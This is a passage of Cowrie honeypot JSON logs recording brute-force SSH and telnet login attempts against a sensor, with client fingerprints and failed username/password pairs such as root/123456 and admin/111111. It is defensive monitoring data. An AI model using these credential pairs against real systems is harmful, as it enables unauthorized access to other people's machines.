","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:38.865785Z","src_ip":"45.156.87.253","session":"d3a5f8171d56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:39.107374Z","src_ip":"45.156.87.253","session":"d3a5f8171d56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:40.193138Z","src_ip":"45.156.87.253","session":"d3a5f8171d56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":50848,"dst_ip":"159.203.135.109","dst_port":22,"session":"d37421b568df","protocol":"ssh","message":"New connection: 194.113.233.25:50848 (159.203.135.109:22) [session: d37421b568df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:40.633259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:40.636534Z","src_ip":"194.113.233.25","session":"d37421b568df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:40.729567Z","src_ip":"194.113.233.25","session":"d37421b568df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"120379","message":"login attempt [root/120379] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:41.011069Z","src_ip":"194.113.233.25","session":"d37421b568df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:42.106960Z","src_ip":"194.113.233.25","session":"d37421b568df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52606,"dst_ip":"10.17.0.5","dst_port":22,"session":"108551c0b154","protocol":"ssh","message":"New connection: 45.156.87.253:52606 (10.17.0.5:22) [session: 108551c0b154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:42.119770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:42.125545Z","src_ip":"45.156.87.253","session":"108551c0b154","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:42.206824Z","src_ip":"45.156.87.253","session":"108551c0b154","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123456","message":"login attempt [claude/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:42.451710Z","src_ip":"45.156.87.253","session":"108551c0b154","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:43.534653Z","src_ip":"45.156.87.253","session":"108551c0b154","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52634,"dst_ip":"10.17.0.5","dst_port":22,"session":"8dd52f6702a7","protocol":"ssh","message":"New connection: 45.156.87.253:52634 (10.17.0.5:22) [session: 8dd52f6702a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:45.575104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:45.577116Z","src_ip":"45.156.87.253","session":"8dd52f6702a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:45.658932Z","src_ip":"45.156.87.253","session":"8dd52f6702a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:45.903310Z","src_ip":"45.156.87.253","session":"8dd52f6702a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:46.986910Z","src_ip":"45.156.87.253","session":"8dd52f6702a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52654,"dst_ip":"10.17.0.5","dst_port":22,"session":"377e13f9664f","protocol":"ssh","message":"New connection: 45.156.87.253:52654 (10.17.0.5:22) [session: 377e13f9664f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:48.848355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:48.853879Z","src_ip":"45.156.87.253","session":"377e13f9664f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:48.933417Z","src_ip":"45.156.87.253","session":"377e13f9664f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111111","message":"login attempt [admin/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:49.173784Z","src_ip":"45.156.87.253","session":"377e13f9664f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.160.92.142","src_port":58417,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6088541cf93","protocol":"telnet","message":"New connection: 115.160.92.142:58417 (159.203.135.109:23) [session: e6088541cf93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:49.615900Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:50.255802Z","src_ip":"45.156.87.253","session":"377e13f9664f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"\"??$","password":"abcd","message":"login attempt [\"??$/abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:50.484544Z","src_ip":"115.160.92.142","session":"e6088541cf93","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:51.367699Z","src_ip":"115.160.92.142","session":"e6088541cf93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59722,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4c84398149f","protocol":"ssh","message":"New connection: 45.156.87.253:59722 (10.17.0.5:22) [session: f4c84398149f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:52.138942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:52.143091Z","src_ip":"45.156.87.253","session":"f4c84398149f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:52.232222Z","src_ip":"115.160.92.142","session":"e6088541cf93","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:52.336416Z","src_ip":"45.156.87.253","session":"f4c84398149f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"1q2w3e4r","message":"login attempt [systemd/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:52.667058Z","src_ip":"45.156.87.253","session":"f4c84398149f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:53.749418Z","src_ip":"45.156.87.253","session":"f4c84398149f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59736,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2d152514d86","protocol":"ssh","message":"New connection: 45.156.87.253:59736 (10.17.0.5:22) [session: b2d152514d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:55.568947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:55.572292Z","src_ip":"45.156.87.253","session":"b2d152514d86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:55.653584Z","src_ip":"45.156.87.253","session":"b2d152514d86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:55.897667Z","src_ip":"45.156.87.253","session":"b2d152514d86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:57.110879Z","src_ip":"45.156.87.253","session":"b2d152514d86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59752,"dst_ip":"10.17.0.5","dst_port":22,"session":"b53cf8b8ca45","protocol":"ssh","message":"New connection: 45.156.87.253:59752 (10.17.0.5:22) [session: b53cf8b8ca45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:58.866096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:58.870007Z","src_ip":"45.156.87.253","session":"b53cf8b8ca45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:58.950963Z","src_ip":"45.156.87.253","session":"b53cf8b8ca45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@#","message":"login attempt [root/qwe123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:57:59.195574Z","src_ip":"45.156.87.253","session":"b53cf8b8ca45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:00.279620Z","src_ip":"45.156.87.253","session":"b53cf8b8ca45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":34028,"dst_ip":"10.17.0.5","dst_port":22,"session":"909742c9ceaf","protocol":"ssh","message":"New connection: 91.92.40.11:34028 (10.17.0.5:22) [session: 909742c9ceaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:00.445113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:58:00.713426Z","src_ip":"91.92.40.11","session":"909742c9ceaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 